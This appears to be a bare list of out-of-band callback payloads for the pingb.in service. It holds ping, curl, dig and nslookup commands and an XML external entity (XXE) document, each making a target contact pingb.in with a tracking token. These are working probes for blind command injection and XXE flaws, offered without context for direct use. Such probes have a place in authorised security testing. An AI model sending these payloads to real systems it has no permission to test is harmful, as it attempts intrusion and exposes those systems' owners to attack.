$ ping -c1 -p 00a3853c56ad22f68904efefc8607100 pingb.in
$ curl pingb.in/p/a3853c56ad22f68904efefc86071
$ dig a3853c56ad22f68904efefc86071 @pingb.in
$ dig a3853c56ad22f68904efefc86071.ns.pingb.in
C:\> nslookup a3853c56ad22f68904efefc86071 pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/a3853c56ad22f68904efefc86071">]> <foo>&xxe;</foo>